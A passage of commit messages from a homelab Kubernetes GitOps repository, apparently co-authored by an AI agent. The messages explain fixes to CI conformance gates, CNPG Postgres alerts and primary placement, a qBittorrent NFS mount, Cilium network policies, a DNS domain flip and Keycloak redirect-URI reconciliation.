* conformance/run.sh --include-scope SCOPE unions declaring tests into select_dirs,
still bounded by --layer. New --print-selection resolves the
selection and exits, running nothing.
* lib/run_l1_offline.py --unwired-scope: a SKIP of a declaring test exits 3, not 0.
--summary-out: one step-summary line per executed check.
* ci/l0.sh Stage 3b gains --include-scope whole-repo and an rc-3 arm.
Stages 3c/3d/3e DELETED (-150 lines).
* ci/l1.sh, ci/conformance.sh pass --include-scope too, so the next whole-repo invariant
at ANY layer needs only the annotation.
rc 3 SEMANTICS PRESERVED EXACTLY. A whole-repo check reporting "nothing to audit" is
reporting that the tree it audits has VANISHED. The deleted stages called that "not a
pass" and set the gate's rc=3; the runner now returns 3 and ci/l0.sh maps it to rc=3.
A missing check file still degrades to not-green, never to silence.
THE REASONING WAS RELOCATED, NOT DELETED. Each stage's incident narrative moved into the
header of the test it describes, beside its scope annotation: the Cilium k8sServiceHost
empty-substitution CNI outage (2026-09-01), 12 unusable Keycloak clients behind a green
cluster (2026-09-06), and a multi-TB bulk volume landing on the 3-replica tier.
AUDITED ALL 13 EXISTING l0-static TESTS, individually. 10 declare whole-repo scope; 3 are
DELIBERATELY left requirement-scoped and say so in their own headers:
* placeholder-guard-coupling — inputs are bootstrap/ + clusters/, both already mapped to
a requirement it declares. Scoping cannot hide a breaking change.
* dev-nodes-provisioned-as-code — inputs are infra/ and nothing else.
* spec-immutability-enforced — inputs are ci/ and the read-only spec repo.
The latter two were nonetheless under-gated because the PATH MAP was incomplete, which is
the right place to fix a path-scoped invariant: infra/* -> R-ENV-01 added, and R-TEST-06
added to .gitea/*|ci/* (it is no longer an uncovered ID — spec-immutability-enforced
carries the label, so attributing it no longer false-blocks the coverage gate).
NEW conformance/tests/l0-static/whole-repo-invariants-wired (R-TEST-03) keeps the
declarative mechanism honest for ALL declaring tests at once, replacing the three tests'
individual "ci/l0.sh greps my own check.sh path" self-assertions. It proves the union
EMPIRICALLY: with a requirement filter matching no test the L0 selection is empty, and
with --include-scope it is every declaring test; a scope-declared synthetic SKIP exits 3
while an undeclared one exits 0; and a ci/*.sh that hardcodes a check.sh path must belong
to a test that also declares the scope, so the bespoke pattern cannot creep back.
TASK 2 — a changed test attributes the requirements it CERTIFIES.
ci/touched-requirements.sh gains detection rule 3: a change anywhere under
conformance/tests/<test>/ attributes that test's own conformance.home.k3s/R-* labels, read
from its chainsaw-test.yaml. The content scan could not close this — it reads only
added/removed lines, so it sees a change to the LABEL BLOCK but not to the test BODY,
which is exactly the case that matters. Labels are read from HEAD or, failing that, from
the BASE, so DELETING a test still attributes what it used to certify; otherwise removing
the only verifier of a requirement is the cheapest way to make the gate stop checking it.
Whole-line `#` comments are dropped first and *.md is untouched, honouring the existing
"reference, not declaration" rules.
Both changes are fail-closed: every one of them can only ADD tests or requirements to a
run, never remove one.
TESTS: new ci/tests/touched-requirements-test-attribution.test.sh (15 assertions) covers
rule 3 — body-only edit, nested-fixture walk-up, test deletion, header-comment R-IDs not
attributed, non-test paths unaffected, and both new path-map entries. The two existing
suites still pass (39 assertions). `make -C ci test` runs all three.
Co-Authored-By: Claude Opus 5 <[email protected]>
qBittorrent's SavePath was /downloads and no such directory existed in the
container, so the download client had no working destination and nothing
downstream could see its output. It now mounts the same NFS export the arrs
use, narrowed to the downloads subtree via subPath — one mount, so the
EXDEV hardlink trap the bulk-tier test guards stays closed. PUID/PGID are
load-bearing: the export is owned 1000:1000 and the image's default 911 is
denied.
All three primaries had re-concentrated onto prod-1 (the node with known
etcd/Longhorn I/O contention), so losing it meant three simultaneous
failovers. Two switchovers rebalanced them; semaphore-db deliberately stays
on prod-1 as the lightest writer, saving a third write interruption.
CNPG offers no role-aware scheduling — targetPrimary exists only under
status — so the placement is CURRENT, NOT DURABLE: the next failover or
rolling update can re-concentrate it. What is durable is CNPGPrimariesCoLocated,
which reports the condition instead of leaving it to be found by hand.
Every unprefixed './dev.sh run kubectl ...' pointed at the dev cluster,
which was decommissioned on 2026-09-12. The banner cheerfully named dev and
the command then hung or errored against a context that no longer answers,
with nothing saying the cluster is gone. I hit this repeatedly tonight.
CLUSTER=dev is still accepted rather than removed, because the dev VM disks
were deliberately kept so the environment is reversible — but it now warns.
Co-Authored-By: Claude Opus 5 <[email protected]>
qBittorrent was the one member of the download chain with NO media volume.
Its live config said
Session\DefaultSavePath=/downloads/
Session\TempPath=/downloads/incomplete/
Downloads\SavePath=/downloads/
while `ls /downloads` in the container returned "No such file or directory".
The catalog entry declared exactly one volume — config at /config on longhorn —
and carried a comment deferring the downloads volume "until OQ-2 is resolved".
OQ-2 WAS resolved (schema 1.5.0 static bulk NFS PVs); plex, sonarr, radarr and
nextcloud all took their mounts and qBittorrent's was simply never added. So the
download client was writing, or failing to write, a path that did not exist —
and anything it did create would have been invisible to sonarr/radarr, lost on
every pod recreation, and consuming the node's ephemeral disk until then.
WHAT THIS ADDS to catalog/qbittorrent.yaml (rendered into apps/wave-0):
* storage[downloads]: class bulk, export /mnt/Storage/plex, subPath downloads,
mountPath /downloads, 9Ti advisory. ONE mount of the SAME export sonarr,
radarr (rw) and plex (ro) already consume, narrowed to the handoff subtree.
* env PUID=1000 / PGID=3000. LOAD-BEARING, not cosmetic: the container ran as
uid 911 and /mnt/Storage/plex/downloads is 0755 owned 1000:1000, so the
export would have mounted cleanly and then failed every write with EACCES.
Measured both ways on prod: a write as uid 1000 succeeded, the same write as
uid 911 was denied.
* podSecurityContext.fsGroup 3000, for the LONGHORN config PVC only, exactly as
sonarr/radarr set it — fsGroup is a no-op on an in-tree NFS volume.
WHY subPath AND NOT THE EXPORT ROOT AT /media (sonarr/radarr's shape): a download
client has no business writing the library. The arrs need the root mount because
THEY hardlink downloads/ -> tv/|movies/ and link() is a same-MOUNT operation;
qBittorrent performs no such link, so narrowing to downloads/ removes movies/,
tv/ and photos/ from its mount namespace without removing any operation it
performs. It is still ONE mount of the export, so the L0 assertion that no
workload mounts one export twice (the EXDEV trap) holds — and the arrs' own
link() stays intra-mount. Proven live: nlink 1 -> 2, same inode, no EXDEV, every
step executed as uid 1000.
NETWORK: nothing to grant and nothing to steer. An NFS PersistentVolume is
mounted by the NODE KERNEL in the host netns — the established socket to
192.168.2.102:2049 is on the node's own LAN address, the pod netns has no socket
to 2049 at all, and no CiliumNetworkPolicy on this cluster names that host or
port. `ip route get 192.168.2.102` picks eno1 even on the tunnel-owning node, and
Cilium's own egress map lists 192.168.0.0/16 as an Excluded CIDR for every
vpn-class pod while 0.0.0.0/0 goes to the gateway. Public egress still exits the
PIA address; the VPN guarantee is untouched.
NOT CLOSED BY THIS COMMIT, deliberately: absolute paths still differ between this
pod (/downloads/x) and the arrs (/media/downloads/x), so Completed Download
Handling needs one Remote Path Mapping per arr. That lives in the arrs' own
databases, not in git.
Co-Authored-By: Claude Opus 5 <[email protected]>
`instances: 3` + `podAntiAffinityType: required` fixed the INSTANCE spread but moved
the PRIMARY concentration from k3s-prod-2 to k3s-prod-1: all three primaries
(keycloak-db-2, nextcloud-db-2, semaphore-db-2) ended up on one node, so losing it
meant three simultaneous failovers.
There is NO declarative fix, established from the CRD installed on prod (CNPG 1.30.0,
clusters.postgresql.cnpg.io/v1) rather than from memory. Every spec.affinity field and
spec.topologySpreadConstraints applies to "all the cluster's pods" and is not role-aware;
spec.replica.primary names a Cluster object in a distributed topology, not a node;
primaryUpdateMethod/switchoverDelay/primaryLease govern how a promotion happens, never
where. `targetPrimary` exists only under STATUS, never spec — so `cnpg promote` is an
imperative status patch by construction and there is nothing to put in git. The obvious
workaround is worse than nothing: pod anti-affinity is only ever
...IgnoredDuringExecution while CNPG promotes by relabelling a RUNNING pod, and with
3 instances on 3 nodes it would leave the third instance unschedulable.
So this commits the part that IS durable — visibility — and rebalances live.
CNPGPrimariesCoLocated joins CNPG's own answer to "who is primary" (the <cluster>-rw
Service selects only the primary) against the node: kube_endpointslice_endpoints carries
endpoint_nodename + targetref_name, which two label_replaces lift into node/pod. Neither
family works alone — cnpg_* metrics have no node label, and kube_pod_labels is EMPTY here
(no kube-state-metrics label allowlist), so cnpg.io/instanceRole is not in Prometheus at
all. `* on (namespace, pod) group_left () cnpg_collector_up` keeps an unrelated `*-rw`
Service from triggering it, and uses the one metric present for EVERY instance rather than
the cnpg_pg_stat_* family that is missing for nextcloud-db.
A Ready-node gate stops this becoming another permanently-firing alert: with three
clusters on three nodes a node loss NECESSARILY co-locates two primaries, so the rule
only speaks when the spread is actually achievable, and re-arms when the node returns.
Proven both ways. Live: the expr returned {node="k3s-prod-1"} => 3 before, empty after,
with the inner join still resolving all three primaries (quiet because false, not blind);
loaded into prod's Prometheus as a throwaway `for: 1m` twin it went pending at +70s and
firing at +130s. alerts.promtool-test.yaml pins four cases under promtool 3.14.0 (the
exact version prod runs) and is mutation-checked — dropping the join, dropping the gate
or shortening `for:` each makes a test FAIL.
Rebalanced live, one cluster at a time: keycloak-db -> k3s-prod-2, nextcloud-db ->
k3s-prod-3, semaphore-db deliberately LEFT on k3s-prod-1 (lightest writer, and that node
has the known etcd/Longhorn I/O contention) — two switchovers, not three. Write outage
measured with a `select txid_current()` probe, not estimated: 9.4s and 9.43s, one
contiguous burst each. All three back to readyInstances: 3 with
synchronous_standby_names = ANY 1 (...) and both standbys streaming/quorum.
The placement is CURRENT, NOT DURABLE, and the alert is the point: the next failover or
rolling update can re-concentrate the primaries, and now that gets reported instead of
discovered by hand.
Co-Authored-By: Claude Opus 5 <[email protected]>
cnpg_metrics_exporter lacked CONNECT on the nextcloud database: an
out-of-band REVOKE materialized its datacl and dropped PUBLIC's implicit
CONNECT, which keycloak and semaphore still inherit. CNPG's API cannot
express a database-level grant, so this follows the repo's existing
level-triggered CronJob reconciler pattern rather than a one-shot Job that
a rebuild would silently skip. CONNECT only; pg_monitor already carries the
read access.
CNPGNoRecoverabilityPoint fired permanently on all six CNPG replicas because
only the primary owns the backup catalogue; CNPGNoRecentBaseBackup had the
same latent defect, held back only by a > 0 guard. Both now aggregate pod
away and key on the cluster. The remediation text also told the on-call to
run 'kubectl get backup', which reports no resources here.
CNPGNoRecentBaseBackup's own remediation hint said `kubectl get backup`.
On this cluster longhorn.io, postgresql.cnpg.io and velero.io each register
kind Backup, so the bare short name resolves to Longhorn's empty set and
prints 'No resources found' while CNPG backups exist. An on-call following
the alert that fires BECAUSE backups look stale would have been told, with
authority, that no backups exist at all — and might re-bootstrap a database
over good ones. Fully qualify it.
Co-Authored-By: Claude Opus 5 <[email protected]>
The CNPG metrics exporter could not CONNECT to the `nextcloud` application
database, so every user-defined collector query against that target failed on
all three instances:
FATAL: permission denied for database "nextcloud" (SQLSTATE 42501)
DETAIL: User does not have CONNECT privilege.
The whole cnpg_pg_stat_* / pg_settings / pg_postmaster family was therefore
MISSING for nextcloud-db while the scrape target still reported up=1 — the blind
spot platform/cnpg/alerts.yaml's CNPGMetricsCollectorErroring was written to
catch. It had been firing on all three pods; measured before this change,
cnpg_pg_settings_setting had 765 series for keycloak, 765 for semaphore-db and
ZERO for nextcloud-db. Nextcloud's database had never been monitored.
Root cause is the live ACL, not the spec — all three Cluster specs bootstrap
identically:
nextcloud : datacl = {nextcloud=CTc/nextcloud} <- explicit, no PUBLIC entry
keycloak : datacl = NULL
semaphore : datacl = NULL
A NULL datacl means PostgreSQL's defaults, which include CONNECT for PUBLIC, so
keycloak and semaphore admit the exporter only by inheriting PUBLIC's implicit
CONNECT. On `nextcloud` something ran the equivalent of REVOKE ALL ON DATABASE
nextcloud FROM PUBLIC, which materialises datacl and drops that implicit entry.
That REVOKE is in neither this repo nor DECISIONS-LOG.md — it was applied out of
band, which is why the remedy has to be declarative rather than another hand-run
psql.
CNPG 1.30.0 cannot express a database-level GRANT (verified against the live
CRDs): `Database` has no ACL field (`allowConnections` is the datallowconn flag,
not a per-role grant), and managed.roles/DatabaseRole cover role attributes plus
`inRoles` membership only — and membership would hand the exporter the owner's
CREATE/TEMP and all table access to buy one CONNECT. postInitApplicationSQL runs
once at bootstrap, so it cannot repair the already-bootstrapped instances that
are actually broken. So this follows the pattern the repo already uses for state
Flux cannot reach: the level-triggered CronJob reconciler alongside
platform/keycloak/client-secret-reconciler.yaml. A one-shot Job is deliberately
avoided — a completed Job never re-runs, so a rebuild or PITR restore would
silently reopen the blind spot.
Exactly one privilege, and nothing else:
GRANT CONNECT ON DATABASE nextcloud TO cnpg_metrics_exporter;
giving `cnpg_metrics_exporter=c/nextcloud` — CONNECT only, no CREATE, no
TEMPORARY, no ownership, no superuser, no table or schema grants. Nothing more is
needed because CNPG already creates the role as a member of the built-in
pg_monitor role (verified on all three clusters), which carries the read access
the collector's pg_catalog queries want. It runs as the database OWNER, not a
superuser: enableSuperuserAccess stays off, and a database owner holds the grant
option on its own database.
Verified live on prod:
* the grant issued under SET ROLE nextcloud, proving no superuser is needed;
* permission-denied and "Error collecting user query" both went to 0 on
nextcloud-db-1/-2/-3, i.e. every collector query now succeeds;
* cnpg_pg_settings_setting now 765 series for nextcloud-db, matching the other
two, and cnpg_pg_postmaster_start_time present on all three instances;
* cnpg_last_error = 0 on all NINE instances, so keycloak-db and semaphore-db
are unaffected and their datacl is still NULL;
* convergence proven by revoking the grant again and letting the committed
CronJob restore it, then re-running it against a converged database to show
idempotence;
* CNPGMetricsCollectorErroring, firing on all three pods beforehand, has
cleared (`for: 6h` delays firing, not resolution).
Co-Authored-By: Claude Opus 5 <[email protected]>
Three API groups register kind Backup (longhorn, cnpg, velero). The bare
short name resolves to Longhorn's empty set, so kubectl reports absence
while 27 CNPG backups and live Velero backups exist. A false negative on
'do I have backups' is the worst possible time to be wrong, so record the
rule: fully-qualified resource names only.
Co-Authored-By: Claude Opus 5 <[email protected]>
CNPGNoRecoverabilityPoint has been firing continuously on prod against six
pods — keycloak-db-1/-3, nextcloud-db-1/-3, semaphore-db-1/-3 — i.e. exactly
the REPLICAS of all three Clusters, while the databases themselves are fine:
every Cluster reports firstRecoverabilityPoint=2026-09-07T07:0x, a
lastSuccessfulBackup within the last few hours, ContinuousArchiving=True and
LastBackupSucceeded=True.
Root cause is aggregation scope, not archiving. `cnpg_collector_first_recoverability_point`
reads the backup CATALOGUE, which only the primary owns; a replica reports a
hard 0 for as long as it is a replica. The metric carries no cnpg.io/cluster
label (its label set on prod is container/endpoint/instance/job/namespace/pod),
so `max by (namespace, pod)` evaluated each replica as its own subject and an
`== 0` comparison then held forever. The rule went from correct to permanently
wrong the moment the Clusters went to `instances: 3`; nothing about the
expression changed.
WHY THIS IS WORSE THAN HAVING NO ALERT. An alert that is always firing has
zero information content: its value is identical in the healthy state and in
the failure state, so it cannot distinguish them. It is worse than silence in
two specific ways. First, it trains the operator to delete the notification on
sight, so the day a base backup genuinely stops the seventh identical email is
discarded with the other six — the alert actively MASKS the failure it was
written to catch, which for a DR alarm means discovering the loss at restore
time. Second, it is indistinguishable from a broken alert, so nobody can tell
whether the absence of new alerts means health or means the rule rotted. This
file exists because a real 38-hour archiving failure told nobody; a rule that
cries wolf about six healthy replicas rebuilds exactly the blindness it was
supposed to remove. This repo has been here before — see the permanently-firing
critical VPNTunnelDown post-mortem in platform/monitoring/alerts.yaml.
Fix: group by (namespace, job) and aggregate `pod` away. The CNPG operator
creates one PodMonitor per Cluster, named after the Cluster, in the Cluster's
namespace, so prometheus-operator derives job="<namespace>/<cluster>" —
keycloak/keycloak-db, nextcloud-db/nextcloud-db, semaphore-db/semaphore-db —
which identifies the CNPG Cluster uniquely. `job` rather than bare `namespace`
deliberately: namespace alone works today (one Cluster per namespace, verified
live) but would let two Clusters in one namespace mask each other, since the
healthy one's non-zero value would satisfy `max` for both. The alert now
states what its summary always claimed — this CLUSTER has no recoverability
point — and fires only when no instance of that Cluster reports one.
Proven live against prod Prometheus, read-only (promtool query instant):
OLD max by (namespace, pod) (...) == 0 -> 6 series, and 6 ALERTS firing
NEW max by (namespace, job) (...) == 0 -> empty
The new expression is not vacuous: forcing the metric to 0 for one cluster's
primary only yields exactly one series, {job="keycloak/keycloak-db"}, so a
genuine single-cluster loss of DR still alerts, per cluster. `promtool check
rules` passes on all 5 rules.
CNPGNoRecentBaseBackup carried the same defect and is fixed the same way.
`cnpg_collector_last_available_backup_timestamp` is also primary-only: on prod
the primaries read 3.1h/2.1h/0.1h old while all six replicas read 0, i.e.
time()-0 = ~56.7 YEARS. It was not firing only because the `> 0` guard was
load-bearing — a single clause was all that stood between this rule and six
more permanent false positives, too thin a margin for a DR alarm. Aggregating
`pod` away removes the dependence: `max` takes the primary's timestamp as the
cluster's answer, and the guard now means "this cluster has had at least one
backup". Verdict unchanged live (old empty, new empty).
The other three rules were audited and deliberately left on `by (namespace, pod)`:
* CNPGWALArchiveBacklog — every instance reports archive_status and the shape
is `> 0`, so a replica at 0 never fires and no pod can mask another; `pod`
names the instance whose archiver is stuck.
* CNPGWALVolumeNotRecycling — per-pod is REQUIRED, not merely safe:
aggregating it away would compare one instance's WAL count against
another's max_wal_size.
* CNPGMetricsCollectorErroring — unchanged in meaning AND grouping. Its
grouping is already correct: cnpg_last_error is genuinely per-instance, and
prod proves it discriminates rather than tracking role — all three
nextcloud-db pods report 1 while all six keycloak/semaphore pods report 0.
It is a true positive (the nextcloud 42501 CONNECT grant) owned by separate
work; nothing here silences or rescopes it.
The general rule, recorded in the file: `== 0`/staleness shapes must aggregate
`pod` away or every structurally-silent pod fires forever; `> 0` shapes are
safe per-pod and keep the instance name.
Co-Authored-By: Claude Opus 5 <[email protected]>
The CNP that lets flux-system's source-controller clone from the in-cluster Gitea
Service was APPLIED LIVE on prod on 2026-09-13 and existed nowhere in this repo. It
carried a provenance annotation saying so. Until now it could not be authored: the
gitea CNPs are GENERATED from the catalog entry, and the contract had no field for
"also admit this in-cluster client" (fixed in the previous commit).
Why it matters more than a missing allow normally would. prod's GitRepository points
at the Service, not a public name (clusters/prod/kustomization.yaml:
`url: http://gitea.gitea.svc.cluster.local:3000/Home-Network/home-network-k3s-impl.git`),
deliberately, so prod's GitOps depends on neither public DNS, Cloudflare, prod's own
Gateway nor ${BASE_DOMAIN}. But gitea-allow-gateway-ingress admits only
`fromEntities: [ingress]`, so source-controller's clone was dropped — and the
HTTPRoute that would have served the post-apex-flip public name instead lives in a
DOWNSTREAM tier that cannot apply while the source is down. Source down -> routes
never rename -> source stays down. Every `kubectl delete cnp` and every cluster
rebuild re-armed that deadlock, and it would have been extremely hard to diagnose
cold.
The rendered object is EQUIVALENT to the live one — same apiVersion/kind, same
name/namespace/labels, and a byte-identical spec (endpointSelector
app.kubernetes.io/name=gitea; fromEndpoints matchLabels
k8s:io.kubernetes.pod.namespace=flux-system; toPorts 3000/TCP), verified against
`kubectl --context k3s-prod -n gitea get cnp gitea-allow-flux-ingress -o json`. The
name matches, so Flux ADOPTS the live object in place: no spec change, so no policy
recompute and no flap on prod's own source. The only difference is that the rendered
object carries no `homelab.keithjackson.dev/provenance` annotation — the reasoning now
lives where the object is authored, in catalog/gitea.yaml, next to the field that
generates it.
Golden re-rendered with the canonical command; the whole apps/ diff is the one new
document.
Co-Authored-By: Claude Opus 5 <[email protected]>
A platform controller that dials a service's ClusterIP directly had NO authorable
form in the ServiceDefinition contract:
* ingressRoutes renders the north-south allow only — gateway-ingress admits
`fromEntities: [ingress]`, the Gateway's Envoy identity, and nothing else;
* dependencies compiles edges only BETWEEN CATALOG SERVICES, from the source
entry's own declaration.
Under the default-deny baseline (R-NET-01) such a client is therefore DROPPED, and
the only way to unblock it was a live `kubectl apply` of a hand-written CNP — a
cluster object outside git, one `kubectl delete` or one rebuild from coming back.
`inClusterClients: [{namespace, port, protocol?, name?}]` closes that. Each entry
renders ONE least-privilege ingress CiliumNetworkPolicy: this service's
endpointSelector, `fromEndpoints` matching ONLY `k8s:io.kubernetes.pod.namespace`,
`toPorts` carrying ONLY the declared port/protocol — never `fromEntities: all`.
Additive: the namespace default-deny keeps denying everything undeclared (R-NET-02),
and the entry is NOT a dependency edge, so it creates no wave ordering.
Shape notes:
* selected by NAMESPACE, not pod labels: an upstream controller's labels belong to
its chart, not to this platform's contract. The cost is explicit — every pod in
that namespace is admitted on that port, so the field is for platform-controller
namespaces (flux-system, monitoring), never a shared one. The schema description
says so.
* optional `name` (default: the namespace) only names the rendered policy,
`<service>-allow-<name>-ingress`. That name is operator-facing (kubectl get cnp,
a Hubble drop), and pinning it lets an allowance that already had to be applied
live be authored under its EXISTING name, so Flux adopts the live object in place
instead of creating a near-duplicate and leaving the original unmanaged.
* one field, not a policy DSL: no arbitrary selectors, entities or CIDRs.
Covered by render.py --selftest (4c): name/namespace/selector/port shape, no
fromEntities widening, default-deny still `ingress: []`, the gateway allow not
displaced, `name` defaulting to the namespace, and nothing rendered when the field is
absent. No golden changes here — no catalog entry uses the field yet.
Co-Authored-By: Claude Opus 5 <[email protected]>
The apex flip deadlocked prod's GitOps and this is the durable fix.
The GitRepository pointed at a public hostname. The flip renamed prod's HTTPRoute
hostnames, so that name stopped serving — but the HTTPRoute that would serve the new
name lives in a DOWNSTREAM tier which cannot reconcile while the source is broken.
Source down -> routes never rename -> source stays down. Observed live: srcReady=False,
"unable to list remote for https://gitea.home.keithjackson.dev".
Pointing at gitea.gitea.svc.cluster.local:3000 removes the cycle permanently: prod's
GitOps no longer depends on public DNS, Cloudflare, its own Gateway, or ${BASE_DOMAIN}.
No future domain change can sever prod from its own source.
Plain http is deliberate: cluster-internal traffic to a ClusterIP, TLS terminates at
the Gateway for external clients, the GitRepository has no secretRef (anonymous clone),
and all secrets are SOPS-encrypted at rest regardless of transport.
Co-Authored-By: Claude Opus 5 <[email protected]>
The GitRepository url is a hardcoded literal, not templated on ${BASE_DOMAIN}, so
the apex flip did not carry it. But the flip renames prod's HTTPRoute hostnames, so
external-dns (policy=sync) deletes gitea.prod.home.keithjackson.dev and CoreDNS's
split-horizon zone moves from prod.home. to home. — which would have severed prod
from its OWN GitOps source moments after the flip reconciled.
Landed in the same push as the flip deliberately: prod has not yet fetched 9161cab
(still on b9c0970, all hostnames still prod.home.), so both commits arrive in one
fetch and the url changes in the same apply that renames the routes. A live patch
would not survive — the root Kustomization renders this very file and reverts it.
Co-Authored-By: Claude Opus 5 <[email protected]>
Dev is decommissioned and has released the name. Prerequisites completed and
verified BEFORE this flip:
1. dev's 18 A records released by its own external-dns (policy=sync; sources
deleted after suspending dev's Flux so they could not be recreated).
2. dev's 18 LEGACY UNPREFIXED TXT registry entries deleted from Cloudflare by
hand. external-dns v0.21.0 deleted only the `a-` prefixed form and then logged
"All records are already up to date" — it would NEVER have cleared the older
unprefixed format it no longer writes but still READS for compatibility. They
carried `owner=default`; prod runs `owner=prod`, so prod could not have
claimed these names while they existed. This was the real blocker, and it was
invisible until measured.
3. dev's `*.home.keithjackson.dev` + apex Certificate deleted so it stops
renewing. Issued ~18d ago, so prod's request is #1 this week against LE's
duplicate limit (5 per identical name set per week).
Verified at the AUTHORITY (betty.ns.cloudflare.com), not via a resolver: 1.1.1.1
served stale TXT for minutes after deletion and would have shown a false failure.
UNCHANGED, deliberately: EXTERNALDNS_TXT_OWNER_ID stays `prod` — giving prod
`default` would let it adopt and sync-delete records it does not own, which is the
2026-09-04 incident. EXTERNALDNS_DOMAIN_FILTER stays the ZONE `keithjackson.dev`:
finding F-DNS1 proved a strict subdomain filter drops the hosted zone and external-dns
then publishes NOTHING.
The zone has wildcards `*.keithjackson.dev` and `*.home.keithjackson.dev` pointing at
the public IP (legacy non-k3s prod). Dev's specific records were shadowing the latter;
prod's new specific records shadow it again. The legacy stack lives on
`*.keithjackson.dev` and is untouched.
k3s_base_domain moves with it to hold the [parity] contract, but that value renders
the apiserver's install-time oidc-issuer-url: it does NOT take effect until the
k3s_server role re-renders config.yaml and k3s is restarted serial: 1. Until then the
apiserver trusts the OLD issuer while Keycloak serves the NEW one, so kubectl OIDC
fails in that window. Cert-based kubeconfigs are unaffected.
Co-Authored-By: Claude Opus 5 <[email protected]>
Records K1-K9: extend-vs-sibling and why, the generated+gated desired state, verbatim
token pass-through, per-pass fail-closed, order-insensitivity, unmanaged-means-untouched,
public clients' URLs managed, one alert pair not two, and the mutation harness.
Also records a process note: my first pass reported three false findings (reconciler
absent from main, import not templated, BASE_DOMAIN dead) because I diffed against
origin/main -- origin is dev's Gitea, stale at 4809199, while the live remote is
prod-gitea at fa4deac. All three were wrong. The rule for this repo is written down so
the next agent does not repeat it: origin is not the source of truth.
Co-Authored-By: Claude Opus 5 <[email protected]>
L0 (212 assertions, was 175):
* runs ci/render-keycloak-client-urls.py --check, so client-urls.yaml must be exactly
what the realm import renders. A hand edit that makes the two disagree is
unmergeable -- this is what keeps the realm import the single source of truth for
hostnames rather than just the place they were first typed.
* asserts client-urls.yaml and the realm import are rendered by the SAME Flux
Kustomization. postBuild.substituteFrom is per-Kustomization, so a split would let
one ${BASE_DOMAIN} resolve to two different values and the realm would converge on
a hostname the HTTPRoutes do not serve.
* asserts the desired state uses no substitution token the realm definition lacks,
names only clients the import declares, and declares no field outside the
five-field write surface; that the CronJob mounts it readOnly at the path the
script defaults to; and that the script, renderer and check agree on which fields
are writable.
* NEW mutations.py: injects 12 plausible regressions into the EXTRACTED script and
requires --selftest to catch every one. A passing suite proves nothing if it cannot
fail, and "reported success while the realm was broken" is precisely what this
component exists to end -- so the same standard applies to its own test. ~20s.
L2: the audit Job now mounts keycloak-client-urls and asserts
KEYCLOAK_CLIENT_URLS_AUDIT_OK. Without that it would pass on a realm still holding
pre-migration redirect URIs -- the exact state prod was measured in.
Alerts: the existing Failing/Stale pair is EXTENDED to name redirect-URI drift, not
duplicated. One CronJob gets one pair; a second pair on the same job_name regex would
fire twice for one cause. No new critical, no new permanently-firing rule.
Co-Authored-By: Claude Opus 5 <[email protected]>
The realm import is a one-shot that never re-runs, so a redirect URI changed in git
reaches the realm never. Prod's stored URIs were measured still on the pre-migration
hostname while git declared the new one -- after a BASE_DOMAIN flip every OIDC login
fails with a redirect_uri mismatch, with the CR still reading Done=True and nothing
alerting. Same failure class as the literal-placeholder secrets, same cure.
EXTENDS the existing reconciler rather than adding a sibling. Decisive reason: a URL
write needs NO new endpoint. It is the same minimal client PUT, and the current URLs
already come back in the allow-listed client lookup -- so the allow-list is widened by
nothing and the users/groups/roles/authentication guarantee is preserved unchanged
rather than re-declared in a second copy. The ConfigMap also carries exactly one
script key by L0 contract, so a sibling would have had to fork ~300 lines of
safety-critical code that the header explicitly forbids forking.
Reconciles redirectUris, webOrigins, rootUrl, baseUrl, adminUrl -- only the fields a
client actually declares, and on a write only the fields that actually drifted. A
field the desired state omits is UNMANAGED and left untouched; absence never means
force-to-empty.
THE TWO PASSES ARE INDEPENDENT. Each reads its own desired state and fails closed for
its own fields only. A malformed URL ConfigMap cannot stop client-SECRET repair, which
would otherwise make credential healing depend on a hostname file.
List fields compare order-insensitively (sorted, not set -- duplicates are still
drift), because Keycloak does not preserve the authored order of redirectUris and an
order-sensitive compare would rewrite every client forever while reporting success.
--selftest grows to 84 assertions covering the domain flip, a client gaining a URI, a
client losing a stale one, a public client's URLs being managed while its secret is
not, per-pass fail-closed, order-insensitivity, and a server that accepts a PUT
without applying it.
Co-Authored-By: Claude Opus 5 <[email protected]>
The realm import is a one-shot: once Done=True it never re-runs, so a redirect URI
changed in git never reaches the realm. Healing that needs a DESIRED STATE the
reconciler can read -- and the reconciler pod has no Kubernetes API access at all
(automountServiceAccountToken: false), so it cannot read the KeycloakRealmImport CR.
Its desired state must be mounted, hence a ConfigMap.
A hand-authored ConfigMap would be a second source of truth for every public
hostname in the realm, free to disagree with the import -- the same shape as the bug
being closed. So it is GENERATED from the import and the render is gated, the same
render==golden idiom catalog/render.py already uses for apps/.
URL strings are copied VERBATIM: a ${BASE_DOMAIN} token in the source appears
unchanged here, and both files are rendered by the SAME Flux Kustomization
(./platform-config), so both are substituted in one pass with one value. The
renderer never parses a hostname and never reads cluster-vars, so there is no
second place the domain can be decided.
Co-Authored-By: Claude Opus 5 <[email protected]>
One historical `-dirty` row reddened this gate permanently, even after a clean
re-run of the same test. status.py already resolves duplicates latest-wins
(latest_by_test), so a superseded row is not evidence of anything — but this check
iterated every row, so the poisoned row from the git_sha bug (fixed in the parent
commit) would have failed the audit forever.
The dirty-tree assertion is now scoped to rows status.py would actually honour, by
importing latest_by_test rather than reimplementing the rule, so the two cannot
disagree about which rows are live claims. Structural assertions — provenance keys,
sentinel, test-still-exists — still apply to EVERY row.
Nothing is erased: the row stays in the ledger and runs/20260913T014437Z-19fc8bc/
run.log stays committed. It simply stops being read as a live claim. Verified the
guard is intact afterwards — the check still REFUSES both forgeries it is built to
catch (a self-skip presented as a pass, and a proven row from the root commit).
A dirty-then-clean sequence is also the normal shape of noticing a dirty tree,
fixing it, and re-running; that should not permanently fail an audit.
Co-Authored-By: Claude Opus 5 <[email protected]>
1. auditability-proofs-producible rejected any proven ledger row without a
sentinel, with no layer exemption — while record_run.py DELIBERATELY records
L0/L1 rows sentinel-less via its own SENTINEL_EXEMPT_LAYERS, because
run_l1_offline.py renders skips as JUnit <skipped/> and those layers have no
pass token to attribute. So ANY `--record` run touching L0 or L1 wrote a row
this gate then rejected. Consequence: a requirement whose verifier set includes
an L1 check could never be both PROVEN and L0-green — R-NET-06 is exactly such
a requirement, and hit it the moment it was re-proven on prod. The check now
honours the same constant instead of restating the policy, so the two halves
cannot drift apart again.
2. git_sha() marked the tree dirty from tracked files, but conformance/runs/
ledger.jsonl IS tracked — so the FIRST `--record` run of a session dirtied the
tree and every LATER run was stamped `-dirty`, which check.sh then refuses to
honour. Recording one test poisoned the next, and that cost a second live
fault-injection run against prod to work around. Its docstring already stated
the intent for the untracked runs/<id>/ half of the same artifact; the ledger is
the tracked half. Now excluded via pathspec, mirroring status.py's
